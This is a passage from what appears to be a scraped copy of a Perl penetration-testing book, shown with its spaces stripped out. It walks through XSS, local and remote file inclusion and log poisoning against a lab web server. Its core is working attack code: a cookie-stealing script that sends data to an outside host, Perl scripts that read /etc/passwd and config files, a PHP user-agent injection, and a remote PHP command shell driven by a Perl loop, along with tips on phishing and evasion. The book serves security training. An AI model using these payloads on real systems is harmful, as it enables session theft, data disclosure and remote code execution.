‘z’=>‘%7A’,’{‘=>‘%7B’,’|’=>‘%7C’,’}’=>‘%7D’,’~’=>‘%7E’,‘‘
=>‘%20’,‘A’=>‘%41’,
‘B’=>‘%42’,‘C’=>‘%43’,‘D’=>‘%44’,‘E’=>‘%45’,‘F’=>‘%46’,‘G’=>
‘%47’,‘H’=>‘%48’,
‘I’=>‘%49’,‘J’=>‘%4A’,‘K’=>‘%4B’,‘L’=>‘%4C’,‘M’=>
‘%4D’,‘N’=>‘%4E’,‘O’=>‘%4F’,
‘P’=>‘%50’,‘Q’=>‘%51’,‘R’=>‘%52’,‘S’=>‘%53’,‘T’=>‘%54’,‘U’=>
‘%55’,‘V’=>‘%56’,
‘W’=>‘%57’,‘X’=>‘%58’,‘Y’=>‘%59’,‘Z’=>‘%5A’
);
2. WewillthenmodifythecheckVuln($)subroutineandchangethechecktothefollowing:if(m/<script>alert\(‘xss’\);<\/script>/){
print“XSSfoundon“,$name,”infile“,$action,”\n”;
print“Encoded:“,$eUrl.$action,“?”,$name,“=”,encode(
“XSS<script>window.location="http://10.0.0.15:180/local/storeCookies.php?”.
“cookie="+document.cookie;</script>”),”\n”;
}
3. Ourencode()subroutinereturnstheencodedstring,aswewouldthinkfromthe
![Page 217: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/217.jpg)
precedingprintfunction,andthatsubroutineiswrittenasfollows:subencode{
my$eUrl=shift;#urltoencode
my$eUrlEncoded=””;
foreach(split(”,$eUrl)){
if($hashMap{$_}){
$eUrlEncoded.=$hashMap{$_}#encoded
}else{
$eUrlEncoded.=$_;#notinhashMap
}
}
return$eUrlEncoded;
}
4. Whenwerunthis,wewillgetthefollowingoutputagainsttheBoldIt!page,boldyourtext.php:
root@wnld960:~#./xss1.plhttp://10.0.0.15:180/vuln/boldyourtext.php
WehaveaGETrequestandtheactionis:boldText.php
TestingURL:http://10.0.0.15:180/vuln/boldText.php?
boldText=XSS<script>alert(‘xss’);</script>
XSSfoundonboldTextinfileboldText.php
Encoded:http://10.0.0.15:180/vuln/boldText.php?
boldText=%58%53%53%3C%73%63%72%69%70%74%3E%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%30%2E%30%2E%30%2E%31%35%3A%31%38%30%2F%6C%6F%63%61%6C%2F%73%74%6F%72%65%43%6F%6F%6B%69%65%73%2E%70%68%70%3F%63%6F%6F%6B%69%65%3D%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E
root@wnld960:~#
5. WenowhaveaperfectlygoodURLencodedstringforphishingandsocialengineeringusingonlyPerlprogramming.Whenwebrowsethelinkloggedinastheadministrator,theboldItCookies.txtfilereceivesthefollowingcookie:uname=trevelyn;cID=cbfdac6008f9cab4083784cbd1874f76618d2a97;
PHPSESSID=bpuibvfj1vlh7tclipbrn2m1m1
Here,wehavesuccessfullyexploitedawebvulnerabilitytostealasessionvariableandcookiesfromtheadminuser.PHPSESSIDisthesessionIDtheadminhasatthePHP/HTTPserver,andthecookiescontaintheusernameandwhatlookslikeanSHA1hash,whichwewilluselaterinChapter9,PasswordCracking,whenwearecrackingpasswords.
![Page 218: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/218.jpg)
EnhancingtheXSSattackForsimpleevasiontechniques,wecaneasilymanipulateourPerlprogramtousethefromCharCode()methodofthestringclassinJavaScriptbycreatingyetanotherhashmapwiththeencodedcharactersusinganewPerlhashmap,similartothe$hashMapobjectasfollows:my%unicode=(‘<’=>60,‘s’=>115,‘c’=>99,‘r’=>114,‘i’=>105,‘p’=>
112,‘t’=>116,’/’=>47,’>’=>62);
Thismethodwillalsoprovideevasionfromthemagic-quotesPHPfeatureaswecanjustencodethequotesintheURLandthendecodethemintothevictim’sbrowser.OnethingtonoteisthatthiswillmakeourencodedURLmuchlonger.
XSScaveatsandhintsOnethingtoconsideristhatsomenewerbrowsers(inthehopethatthevictimusesanewerbrowser)willacceptmangledHTML,whichhasnoquotesatall.So,ifamod_rewriteApachewebserverruleremovessingleordoublequotesfromincomingHTTPrequeststoawebserver,wecanoftenomitthem,dependingonwhichbrowserwechoosefortheattack.IncreatingthenewURLs,wejustneedtousethePerlsubstitutionoperatortoremovethem.Forinstance,considerthefollowingscreenshot.Thewebsiteisdefacedwithanimagepulledfromanotherwebserver.
ThiswasdonewithouttheclosingHTMLIMGtagandusingnoquotationmarkswhatsoever.Thelinklookslikethis:http://10.0.0.15:180/vuln/boldText.php?boldText=<img
src=http://weaknetlabs.com/images/boatshirtdesign.png>
Aswecansee,theinjectedHTMLwasembeddedjustfineusingthelatestversionofFirefox.Again,weseeanotherexampleofsomefeaturesaddedintoawebtechnologyto
![Page 219: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/219.jpg)
accommodateerrorfromthewebdeveloper,whichhelpsusastheattacker.Wecanusethissyntaxforanytag,notjustIMG,andcanhaveseveralattributessimplyseparatedbyspaces,asfollows:<imgsrc=http://weaknetlabs.com/images/boatshirtdesign.pngwidth=500
border=1>
InoursocialengineeringattackusingthelinkfromourPerlapplication,wecansimplye-mailtheaddressprovidedinthefooterofthepageandstatethatweareexperiencingstrangebehaviorintheFirefoxwebbrowseronlywiththelink.Thisshouldenticetheauthorofapagetocheckforthereported“error”incuriosity.However,beforedoingso,let’sconsideraddingsomemorestealthtoourattackbyaddinganewPerlmoduletoourXSSPerlprogram,whichmakestheURLtothemaliciouspageonourownserversmaller.WecandosousingtheWWW::Shorten::TinyURLmodule,whichusesthewebserviceathttp://tinyURL.comtoshortentheURL.SaywehaveaURLthatweneedthevictimtogotousingXSSandexploitavalidationweaknessinthevictim’ssite.AndthisURLisverylong,suchashttp://weaknetlabs.com/temp/xss/book/examples/xss_deface.php.
WecanusethePerlmoduleinasubroutinethatreturnstheshortenedaddressasfollows:subtinyURL{
my$tiny=makeashorterlink(shift);
return$tiny;
}
Whenwepassourpreviouslink,wegetthefollowingURL:
http://tinyurl.com/pb6nqfx
ThishelpsinevadingthelengthrestrictiononaGETattributebythewebapplicationweareexploiting,andmakesourfinalencodedlinktothevictimmuchshorter:downfrom61to27characters.ThereasonwecreatedhashmapswithbothupperandlowercasecharactersforencodingisbecauseourlighttpdwebserverhostingthestoreCookies.phpfileisanEXT3Linuxfilesystemwhichiscasesensitive.ThismakesourXSSPerlprogramflexibleandreadyformultipleenvironments.
XSScandomuchmorethansimplystealingcookies.Thiscanbeusedtodefacewebsites,secretlyinjectJavaScriptintobrowsersmakingthecomputerszombies,andmuchmore.XSS,likeSQLinjection,isbestdonewithalittlebackgroundknowledgeandcreativity.Infact,whenusedtogether,theattackiscalledPersistentXSSasthecodeisnotpassedwitheachrequesttotheserver,butfromtheserver’sowndatabase.Let’snowmoveontofileinclusionattacksandwewillseehowwecanusethemtogatherserverandfiledata.
![Page 220: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/220.jpg)
FileinclusionvulnerabilitydiscoveryInthefollowingsubsections,wewilllearnhowtodiscoverpossibleLocalandRemoteFileInclusionvulnerabilitiesinourclienttarget’swebapplications.Fileinclusionisanothercommonformofwebattack,inwhichwe,theattackers,changeafileparameterinarequesttoincludeotherfilesonthevictimserver’sfilesystemorfromaremoteserver.
![Page 221: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/221.jpg)
LocalFileInclusionLet’sbeginbyjumpingrightintoanexample.Let’ssaywearestillanalyzingtheBoldIt!applicationandafterrunningafilebruteforcescansimilartothisinChapter7,SQLInjectionwithPerl,wefoundalinkinpageintheapplicationthatdisplaysafileonthesameserverwithaGETparameterlabeledasinclude_file.
TheprecedingscreenshotisfromtheURLhttp://10.0.0.15:180/vuln/include_file.php?include_file=about.
ThisURLmaybesusceptibletoaLocalFileInclusion(LFI)attack.Let’strytochangethefilenametoacommonUnixfilename/etc/passwdandseeifwecandisplaythefile’scontentsonthepage.
Aswecansee,thepageisblank,probablyduetothefactthatthefiledoesnotexist.Ifwe
![Page 222: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/222.jpg)
lookcloselyatthenameoftheoriginalfile“about”,wedon’tseeasuffix,whichcouldbeappendedprogrammatically.Wecanuseanullbyte,%00,justafterourfilenametotricktheprogrammer’scodeifthePHPserversoftwareisdatedbeforerelease<=5.2.Let’strytonullbytethestring“../../../etc/passwd”andseeifthepagedisplaysthepasswdLinuxfile.
Inthepreviousscreenshot,wehavesuccessfullyexploitedanLFIvulnerabilityusinganullbytetobypasspoorlyimplementedvalidationandasimpleHTTPrequest.NowhowcanwesuccessfullydesignasimplePerlapplicationthattestsforthiskindofvulnerability?Well,ifweknowthatmostoperatingsystemshavedefaultfiles,andinourcaseLinuxandmostderivativesofUnixhavean/etcdirectoryinwhichapasswdfileexistsandisused,wecanusethisasasimple,.Wecanusethisknowledgetoconstructaregularexpressionpatterntosearchforanylinereturnedfromthevulnerableserver’slocalfile.Forinstance,commonlinesin/etc/passwdmightlookasfollows:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
Andwecaneasilyconstructaregexpasfollows:m/^([a-z0-9]+):x:[0-9]+:[0-9]+:(\1)?:([\/a-z0-9]+)+/i
ThismatchesmostofthelinesinacommonUnix/Linuxpasswdfile.Now,allwehavetodoisfindthedepthofthewebdirectorythathoststheinclude_file.phpfiletotherootofthefilesystem,whichiseasy.Wecansimplyprepend../totheincludedfilenamefordirectorytraversalandrepeatuntilalinereturnedfromtheservermatchesourearlierregularexpression,butmakingsurewestopatalimit,whichwillbe10requests.Let’simplementthisinasimplePerlprogramandanalyzethecode:#!/usr/bin/perl-w
usestrict;
![Page 223: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/223.jpg)
useLWP::UserAgent;
my$ua=LWP::UserAgent->new;
$ua->agent(“Mozilla/5.0(Windows;U;WindowsNT6.1en-US;rv:1.9.2.18)
Gecko/20110614Firefox/3.6.18”);
$ua->from(‘[email protected]’);
$ua->timeout(10);#setupatimeout
my$usage=“Usage:./lfi_test.pl<URL><GETPARAM>”;
my$url=shiftordie$usage;
my$fileDepth=“../”;#keepappendingtoitselftogodeeperintotheFS
my$getParam=shiftordie$usage;#weusethisasaplaceholder
my$depth=””;#hoedeepintotheFSmustwego?
$url=~s/($getParam=)([^&]+)/$1_0x031337_/;#preservethepotentially
neededotherGETparams
subgetFsDepth();
print“LFIVulnerabilityfound!\nDepth:“,$depth,”\n”ifgetFsDepth();
Thisfirstportionofcodeisfairlywelldocumentedwithcomments.ThisshouldbenothingnewtousaswehavecoveredtheLWP::UserAgentmodulemanytimeswithmanydifferentcircumstances.The_0x031337_placeholderisusedinthesamefashionasitwasinChapter7,SQLInjectionwithPerl.ThisistheretohelpuseasilyinterpolatethenewargumentsforeachHTTPrequestwhilepreservingtherestoftheURLthatmaycontainrequiredGETparametersforthepagetodisplayproperly.Now,let’stakealookatthegetFsDepth()subroutine:subgetFsDepth(){#gettheFSdepthtorootfromthewebserver’spage
for(my$i=0;$i<=10;$i++){#trytentimes
my$depthCheck=“../”x$i;
$depth=$depthCheck;
$depthCheck.=“etc/passwd%00”;
(my$urlMangle=$url)=~s/_0x031337_/$depthCheck/;
my$req=$ua->get($urlMangle);
my@dom=split(“\015?\012”,$req->content());
foreach(@dom){
if(m/^([a-z0-9]+):x:[0-9]+:[0-9]+:(\1)?:([\/a-z0-9]+)+/i){
return$urlMangle;
}
}
}
return0;
}
Thissubroutinekeepstrackofhowdeeptherequestsgowith$depthandreturnstrue(theURL$url)ifthereturnedwebpagecontainsastringsimilartothatofour/etc/passwdfileusingourprecompiledregularexpression.Next,allwehavetodoiscreatealistofcommonfilesfrom/etcandtestforeachone,savingitscontentsifthefileisreadproperly.
Wecanalsofindthewebserver’slogthatcanbeusedcreativelytoinjectcodelater.First,let’slookatthesourcecodefromthewebpageandseewhattheHTMLIDattributeisfordiv,whichholdsthefilecontents.TheDIVHTMLlinestartswiththefollowing:<divclass=“beef”id=“fileContents”>
Itendswithasimpletagasfollows:</div>
![Page 224: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/224.jpg)
NowwecansplitupthereturnedHTMLintonewlines,readthemuntilwegettotheDIVwiththefileContentsID,andstopreadingwhenwegettoanendDIVtag.WewillhaveourPerlprogramkeepalogofthefilecontentsforthefilesthatwerereadsuccessfullyandreturneddata.Let’smodifyourcodetodosoandwalkthroughittobrieflyanalyzehowwearecheckingthedataandstoringit:#!/usr/bin/perl-w
usestrict;
useLWP::UserAgent;
my$ua=LWP::UserAgent->new;
$ua->agent(“Mozilla/5.0(Windows;U;WindowsNT6.1en-US;rv:1.9.2.18)
Gecko/20110614Firefox/3.6.18”);
$ua->from(‘[email protected]’);
$ua->timeout(10);#setupatimeout
my$usage=“Usage:./lfi_test.pl<URL><GETPARAM>”;
my$url=shiftordie$usage;
my$fileDepth=“../”;#keepappendingtoitselftogodeeperintotheFS
my$getParam=shiftordie$usage;#weusethisasaplaceholder
my$depth=””;#hoedeepintotheFSmustwego?
$url=~s/($getParam=)([^&]+)/$1_0x031337_/;#preservethepotentially
neededotherGETparams
subgetFsDepth();
subgetFile($);
my@files=
(‘etc/hosts’,‘etc/hostname’,‘etc/fstab’,‘etc/ftpusers’,‘etc/hosts.allow’,
‘etc/hosts.deny’,‘etc/inetd.conf’,‘etc/issue’,‘etc/mailname’,‘etc/localtime’,
‘etc/motd’,‘etc/mtab’,‘etc/mysql/my.cnf’,‘etc/mysql/debian.cnf’,
‘etc/apache2/apache2.conf’,‘etc/ca-certificates.conf’,
‘etc/default/exim4’,‘etc/ldap/ldap.conf’,‘etc/ssh/sshd_config’,‘etc/passwd’);
print“LFIVulnerabilityfound!\nDepth:“,$depth,”\n”ifgetFsDepth();
foreach(@files){getFile($_)}
Thisisthetopportionofourcode.Wehaveaddedanarrayoffilenamesthatwecantestfrom/etc.Wespecifiedthefullpathofthefilessothatwecanaddmorefilesfromanywhereonthevictim’sserverlater.Thenforeachfilenamein@files,wecalledthegetFile()subroutineandpassedthefilenametoit.
Let’slookatthatnewsubroutinenext,sincewehavemadenochangestothegetFsDepth()subroutine:subgetFile($){
my$file=shift;
print“Tryingfile:“,$file,”\n”;
(my$domain=$url)=~s/^http[^a-z0-9_]+([^\/]+).*/$1/;
$domain.=“_”.time;
mkdir($domain);#logfileshere
(my$urlMangle=$url)=~s/_0x031337_/$depth$file%00/;
my$req=$ua->get($urlMangle);
my@dom=split(“\015?\012”,$req->content());
my$lineRead=0;#booleantoreadlines
my@lines;#arraytostorelines
foreach(@dom){
if(m/id=“fileContents”>/){
![Page 225: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/225.jpg)
$lineRead=1;#startreading
next;
}elsif(m/<\/div>/&&$lineRead==1){#stopreadinggocheckcontents
last;
}
push(@lines,$_)if($lineRead);#toensureweONLYgetcontent
}
if(scalar@lines>0){#atleast1line
$file=~s/\//_/g;#don’tcreateexcessivedirectories
open(FLE,”>$domain/$file”)ordie“Couldnotcreatelogfile,
“.$domain.”/”.$file;
printFLE$_,”\n”foreach(@lines);
closeFLE;#complete
}
return;
}
Thisnewsubroutinefirstcreatesadirectoryonoursystem,usingthemkdir()Perlfunction:
1. Wewillfirstconstructthedirectorynamebyusingthefilenameandappendan
underscoreandthedate.Wewillalsomakesuretoreplaceallforwardslashesthatmightcauseerrorsintounderscoresaswell.
2. Next,wewillsubstitutethe_0x031337_placeholderforthefilenameandnullbyte,%00,beforewecreatetheHTTPrequestobjectfromthe$uaLWP::UserAgentobject.Andaswehavedonesomanytimesbefore,wewillgetthecontentsofthewebpageandsplititupintonewlines.
3. Then,wewillcreatealocalizedBooleanforwhetherornottowritethecontentstothe@linesarraywedefinedintheheadsectionofthecode.
4. Oncewritten,wechecktomakesurethatisatleastonesinglelineinthearraybeforewritingthecontenttoafileinournewlycreateddirectory.ThisisaveryeasyimplementationofhowwecanexploitanLFIvulnerabilityusingPerlprogramming.
Whenwerunthiscodeonourvulnerableserver,wegetthefollowingoutput:
root@wnld960:~#perlregexppasswd.pl
‘http://10.0.0.15:180/vuln/include_file.php?include_file=about&img_id=1’
include_file
LFIVulnerabilityfound!
Depth:../../../
Tryingfile:etc/hosts
Tryingfile:etc/hostname
Tryingfile:etc/fstab
Tryingfile:etc/ftpusers
…
Tryingfile:etc/passwd
root@wnld960:~#cd10.0.0.15\:180_1406058994/
root@wnld960:~/10.0.0.15:180_1406058994#ls
etc_apache2_apache2.confetc_default_exim4etc_ftpusersetc_hosts
etc_hosts.denyetc_issueetc_localtimeetc_motd
etc_mysql_my.cnfetc_ssh_sshd_config
etc_ca-certificates.confetc_fstabetc_hostnameetc_hosts.allow
![Page 226: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/226.jpg)
etc_inetd.confetc_ldap_ldap.confetc_mailnameetc_mtabetc_passwd
root@wnld960:~/10.0.0.15:180_1406058994#catetc_passwd
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/bin/shman:x:6:12:man:/var/cache/man:/bin/shlp:x:7:7:lp:/var/spool/lpd:/bin/shmail:x:8:8:mail:/var/mail:/bin/shnews:x:9:9:news:/var/spool/news:/bin/shuucp:x:10:10:uucp:/var/spool/uucp:/bin/shproxy:x:13:13:proxy:/bin:/bin/shwww-
data:x:33:33:www-
data:/var/www:/bin/shbackup:x:34:34:backup:/var/backups:/bin/shlist:x:38:38:Mailing
List
Manager:/var/list:/bin/shirc:x:39:39:ircd:/var/run/ircd:/bin/shgnats:x:41:41:Gnats
Bug-ReportingSystem
(admin):/var/lib/gnats:/bin/shnobody:x:65534:65534:nobody:/nonexistent:/bin/shlibuuid:x:100:101::/var/lib/libuuid:/bin/shDebian-
exim:x:101:103::/var/spool/exim4:/bin/falsestatd:x:102:65534::/var/lib/nfs:/bin/falseavahi-
autoipd:x:103:106:Avahiautoipdaemon,,,:/var/lib/avahi-
autoipd:/bin/falsemessagebus:x:104:107::/var/run/dbus:/bin/falsesshd:x:105:65534::/var/run/sshd:/usr/sbin/nologinpostgres:x:106:114:PostgreSQL
administrator,,,:/var/lib/postgresql:/bin/bashavahi:x:107:115:AvahimDNS
daemon,,,:/var/run/avahi-daemon:/bin/falseusbmux:x:108:46:usbmux
daemon,,,:/home/usbmux:/bin/falsemysql:x:109:116:MySQL
Server,,,:/var/lib/mysql:/bin/falsedebian-
tor:x:110:117::/var/lib/tor:/bin/bashprivoxy:x:111:65534::/etc/privoxy:/bin/falseproftpd:x:112:65534::/var/run/proftpd:/bin/falseftp:x:113:65534::/home/ftp:/bin/falsetelnetd:x:114:118::/nonexistent:/bin/falsetrevelyn:x:1000:1001:Trevelyn
412,412,,:/home/trevelyn:/bin/bashdakuwan:x:1001:1002::/home/dakuwan:/bin/bashroot@wnld960:~/10.0.0.15:180_1406058994#
root@wnld960:~/10.0.0.15:180_1406058994#catetc_hostname
wnld960
Theprecedingoutputprovesthatourcodeissuccessful!Usingregularexpressionsfordealingwithdynamicorunknownreturnedcontentlikewedowith$res->content()isincrediblypowerfulaswehaveseenthroughoutthisbook.Inourcase,evenifthefilecontainsHTML-liketagssuchas/etc/fstab,wewillstillbeabletologthecontentsuccessfully.Onewaywecouldmakethiscodeevenmoredynamicisbytakingyetanotherargumentfromthecommandlineasaregularexpressiontoaccommodateforhardcodingtheid=“fileContents”>check,whichisspecifictoonlyfile_include.php.
LogfilecodeinjectionOnecreativewaytogetevenmoreoutofLFIistoexploitthefactthatnotonlycanwedisplayfilesfromthevictim’sserver,butwearealsopotentiallywritingourownuseragenttotheHTTPDlogfile.Thismeansthatinourpreviousexamples,wecouldhaveputPHPcodeinto$ua->agent()andthendisplayedthatlogfileusingLFI.ThewebserverwouldhaveinterpretedourPHPcodeanddisplayeditsoutput,justasitwouldforanyotherPHPfile.TousePHPcodeinourLWP::UserAgentPerlmodule,wecansimplyuseafewlinesasfollows:#!/usr/bin/perl-w
usestrict;
useLWP::UserAgent;
my$ua=LWP::UserAgent->new;
$ua->agent(‘<?phpecho“_0x031337_\nls/etc”;’.
‘exec(“ls/etc”,$ret);foreach($retas‘.
‘$line){echo$line.”\n”;}echo“_0x0’.
‘31337_\n”;?>’);
my$url=shiftordie“Usage:./rfi_log.pl<URL>”;
my$req=$ua->get($url);
Whenwebrowseanywhereonthesite,theaccess.logfilewaspopulatedwiththefollowingline:10.0.0.1510.0.0.15:180-[23/Jul/2014:02:05:06-0400]“GET
![Page 227: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/227.jpg)
/vuln/include_file.php?include_file=aboutHTTP/1.1”2001230“-”“<?php
echo“_0x031337_\nls/etc”;exec(“ls/etc”,$ret);foreach($retas$line){
echo$line.”\n”;}echo“_0x031337_\n”;?>”
Now,ifweaddthisfileourpreviousLFIexampleas:“/var/log/lighttpd/access.log”
intoour@filesarray,wewillgetthefollowingfile:_var_log_lighttpd_access.log
ThisisfoundinthelogdirectorythatcontainsthelighttpdaccesslogandtheoutputfromourPHPcodeweinjectedviatheuseragentexploit.Wecannowaddthisfilenametoour@filesarrayfromthepreviousPerlLFIexamplecodetoobtainallthedirectorycontentsof/etconthevictim’sserver.ThisisjustasimpleexampleofhowtousetheRFIexploit;wecansetourimaginationsfreewiththisexploittohaveavulnerableserverexecuteanyPHPcodethatwewant.Anothermethodforhavingavictim’sserverexecuteourownPHPcodeisRemoteFileInclusion(RFI).Let’snowturnourattentiontoexploitingRFIusingPerlprogramming.
![Page 228: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/228.jpg)
RemoteFileInclusionRFIworksjustthesamewayasLFI,exceptthatwegetachancetospecifywhatPHPcodewewantrunningonthevictimsserver,aswearespecificallypointingthevictim’sinclude()functiononourownoff-sitePHPcode.Let’sjumprightintothisexercisesincewealreadyhaveasolidgraspofLFI.First,weneedtocreatetheoff-sitePHPfile,whichlooksforaUnixcommandintheURLGETscope:<?php
exec($_GET[‘cmd’],$dir);
foreach($diras$line){
echo$line.”\n”;
}
?>
ThisPHPcodewillbehostedinourexampleonadifferentsitefromourvictim.Itwillbecalledafterweexploittheinclude()functionininclude_file.phpwithanullbyte,%00,andthenappendthelscommandtodisplaydirectorycontents.OurURLfromtheprevious(LFI)examplewasasfollows:http://10.0.0.15:180/vuln/include_file.php?
include_file=../../../etc/passwd%00
TheonlythingwewillchangefortheRFIexploitistheinclude_fileGETparameterandwewilladdanotherGETparameterafterthenullbyteforacommand.TheURLwillnowlookasfollows:http://10.0.0.15:180/vuln/include_file.php?
include_file=http://warcarrier.org/temp/phpcmd.txt%00&cmd=ls&
Noticetheoff-sitePHPfileURLasaparameter.WhenwebrowsethisURL,wearepresentedwiththecontentsofthedirectoryinwhichinclude_file.phpresides.
Inthefollowingscreenshot,weseeasuccessfulRFIexploit:
Intheprecedingscreenshot,weseeasuccessfulRFIexploit.Thecodefromourremotesiteranasifitwerelocaltothevictim’ssite.TodothisinPerlisjustaseasyastheLFIexample.Thecontentpartneedsnoregularexpression.Thisisbecausesincewearethe
![Page 229: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/229.jpg)
developersofthePHPcodethatgetsexecutedbythevictimserver,wecansimplyechoauniquestringsuchas_0x031337_beforeandafterthecontent,andthensimplydoasubstitutionwiththes///operator.Let’sdothisinasmallPerlprogram,andtestitonourvulnerablesite.First,ournewoff-sitePHPcodenowlooksasfollows:<?php
exec($_GET[‘cmd’],$dir);
echo“_0x031337_<br/>”;
foreach($diras$line){
echo$line.”\n”;
}
echo“_0x031337_<br/>”;#creategiantplaceholder
?>
Thiswillplacetwo_0x031337_stringsbeforeandafterthecontentthatwewanttogleanfromthevictim’sserver.OurPerlprogramonlyneedstobeasfollows:#!/usr/bin/perl-w
usestrict;
useLWP::UserAgent;
my$ua=LWP::UserAgent->new;
$ua->agent(“Mozilla/5.0(Windows;U;WindowsNT6.1en-US;rv:1.9.2.18)
Gecko/20110614Firefox/3.6.18”);
$ua->from(‘[email protected]’);
$ua->timeout(10);#setupatimeout
my$usage=“Usage:./rfi.pl<VICTIMURL><VICTIMGETPARAM><OFF-SITEPHP
FILEURL><OFF-SITEGETPARAM>”;
my$url=shiftordie$usage;
my$getParam=shiftordie$usage;
my$offSite=shiftordie$usage;
my$getOSParam=shiftordie$usage;
my@cmds=
(“ls”,“pwd”,“hostame”,“ifconfig”,“iwconfig”,“route”,“iptables”,“uname%20-
a”,“cat/var/log/lighttpd/access.log”);
foreachmy$cmd(@cmds){#http://10.0.0.15:180/vuln/include_file.php?
include_file=about&os=linux
(my$mangleUrl=$url)=~s/(\?$getParam=)([^%\/?
&]+)/$1$offSite%00&$getOSParam=$cmd/;
my$req=$ua->get($mangleUrl);
my@lines=split(“\015?\012”,$req->content());
print“\nTryingcommand:“,$cmd,”\n”;
my$print=0;#booleanforprintingdata
foreachmy$line(@lines){
if($line=~m/_0x031337_/&&$print==0){
$print=1;
next;
}
if($line=~m/_0x031337_/&&$print==1){
$print=0;#disableprinting
last;
}
print$line,”\n”if($print==1&&$linene”);
}
print“\n”;
}
![Page 230: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/230.jpg)
ThiscodeshouldbeacinchtofollowafterusingthesameHTTPrequestmethodforthelastfewsectionsofthisbook.Basically,wewillconstructaURLtotheoff-sitePHPfileandchangethe$cmdparameterforeachcommandfoundin@cmds.Onethingtonoteisthatspacesareallowed,butneedtobeencodedto%20.Thisishowwegettheuname–acommandtorunproperly.Let’srunthisagainstourvictimserverandseewhatisreturnedbyPerl:
root@wnld960:~#perlrfi.pl‘http://10.0.0.15:180/vuln/include_file.php?
include_file=about&os=linux’‘include_file’
‘http://warcarrier.org/temp/phpcmd.txt’‘cmd’
Tryingcommand:ls
about.txt
boldText.php
boldyourtext.php
images
include_file.php
index.php
lfi.php
login.php
logout.php
showget.php
showpost.php
system.php
tiny.pl
unicode.pl
Tryingcommand:pwd
/var/www/vuln
Tryingcommand:hostame
Tryingcommand:ifconfig
eth0Linkencap:EthernetHWaddraa:00:04:00:0a:04
inetaddr:10.0.0.15Bcast:10.0.0.255Mask:255.255.255.0
inet6addr:fe80::a800:4ff:fe00:a04/64Scope:Link
inet6addr:2601:7:9800:3be:a800:4ff:fe00:a04/64Scope:Global
UPBROADCASTRUNNINGMULTICASTMTU:1500Metric:1
RXpackets:145458errors:0dropped:0overruns:0frame:0
TXpackets:54327errors:0dropped:0overruns:0carrier:0
collisions:0txqueuelen:1000
RXbytes:16131935(15.3MiB)TXbytes:5148397(4.9MiB)
Interrupt:21Memory:fdfe0000-fe000000
loLinkencap:LocalLoopback
inetaddr:127.0.0.1Mask:255.0.0.0
inet6addr:::1/128Scope:Host
UPLOOPBACKRUNNINGMTU:65536Metric:1
RXpackets:4660errors:0dropped:0overruns:0frame:0
